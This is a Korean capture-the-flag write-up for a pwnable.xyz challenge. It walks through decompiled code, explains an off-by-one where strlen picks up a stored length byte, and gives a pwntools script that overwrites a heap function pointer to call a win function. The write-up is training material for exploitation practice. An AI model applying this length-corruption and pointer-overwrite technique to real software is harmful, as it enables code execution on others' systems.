1. 문제
1) mitigation 확인
NO PIE이다. got overwrite가 가능하다
2) 문제 확인
이름 쓰기, 수정, 출력이 각 메뉴로 가능하다.
3) 코드 확인
•
main() 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+Ch] [rbp-14h]
int j; // [rsp+10h] [rbp-10h]
int v7; // [rsp+18h] [rbp-8h]
int v8; // [rsp+1Ch] [rbp-4h]
setup(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_int32();
if ( v3 != 1 )
break;
write_name();
}
if ( v3 <= 1 )
break;
if ( v3 == 2 )
{
for ( i = 0; catalog[i]; ++i )
;
printf("index: ");
v7 = read_int32();
if ( v7 >= 0 && v7 < i )
edit_name((size_t *)catalog[v7]);
else
puts("Invalid index");
}
else if ( v3 == 3 )
{
for ( j = 0; catalog[j]; ++j )
;
printf("index: ");
v8 = read_int32();
if ( v8 >= 0 && v8 < j )
(*(void (__fastcall **)(_QWORD))(catalog[v8] + 0x28LL))(catalog[v8]);
else
puts("Invalid index");
}
else
{
LABEL_25:
puts("Invalid");
}
}
if ( v3 )
goto LABEL_25;
return 0;
}
C
복사
메인에서 주요하게 볼 부분은 오렌지색이다. 1번 메뉴는 write_name() 함수를 통해 동작을 한다. 2번 수정은 edit_name함수, 3번 출력은 catalog에 저장된 함수포인터를 통해 동작하는 것으로 보인다.
•
write_name() 함수
size_t *write_name()
{
size_t v0; // rdx
size_t *result; // rax
int i; // [rsp+4h] [rbp-Ch]
size_t *s; // [rsp+8h] [rbp-8h]
s = (size_t *)malloc(0x30uLL);
for ( i = 0; catalog[i]; ++i )
;
catalog[i] = s;
s[5] = (size_t)print_name;
s[4] = 0x20LL;
edit_name(s);
v0 = strlen((const char *)s);
result = s;
s[4] = v0;
return result;
}
C
복사
catalog는 bss 영역에 선언된 변수이다. 초기에 0x30 크기만큼 malloc으로 힙영역을 할당받는다. 그리고 catalog 배열에 할당받은 청크주소를 저장하고, mem 영역 맨 마지막 부분에 0x20과 print_name 함수 포인터를 넣는다.
그다음 edit_name으로 s에 입력을 받고, strlen으로 입력한 데이터 사이즈를 s[4]에 넣는다. 여기서 취약점이 터진다.
•
edit_name() 함수
ssize_t __fastcall edit_name(size_t *a1)
{
printf("name: ");
return read(0, a1, a1[4]);
}
C
복사
edit_name 함수는 별게 없다. catalog에 저장된 mem 영역에 read함수로 데이터를 저장하는데, 사이즈는 아까 strlen 함수로 저장한 사이즈 만큼 넣는다.
2. 접근방법
취약한 부분은 바로 strlen 함수 부분이다. 초기에 청크 +0x20 부분에 0x20 가 들어가 있지만, strlen함수로 입력한 데이터를 청크 +0x20에 다시 복사한다.
만약 0x20 바이트 만큼 꽉 채워서 데이터를 넣는다면,
strlen 함수 실행시, 0x603030에 들어있던 0x20 값까지 포함하여 읽기 떄문에 해당 strlen의 반환값은 0x21이 된다. 따라서 다음 edit_name 함수 호출시 0x603030에 들어있는 값을 사이즈로 입력받으므로 한바이트를 더 변경 가능하고, 다음 edit_name 호출시 입력받을 수 있는 사이즈를 조절이 가능하다.
0x21로 되어있는 부분은 0x60 이런식으로 변경하면, 0x603038에 들어있는 함수포인터를 변경하여 win함수로 바꿀수 있고, 3번 print_name 함수호출시 win함수를 실행하게 할 수 있다.
3. 풀이
최종익스코드는 다음과 같다
from pwn import *
p=remote("svc.pwnable.xyz",30023)
p.sendlineafter("> ","1")
p.sendafter("name: ","A"*0x20)
p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x21)
p.sendlineafter("> ","2")
p.sendlineafter("index: ","0")
p.sendafter("name: ","A"*0x28+p64(0x40092C))
p.sendlineafter("> ","3")
p.interactive()
Python
복사
4. 몰랐던 개념
•
none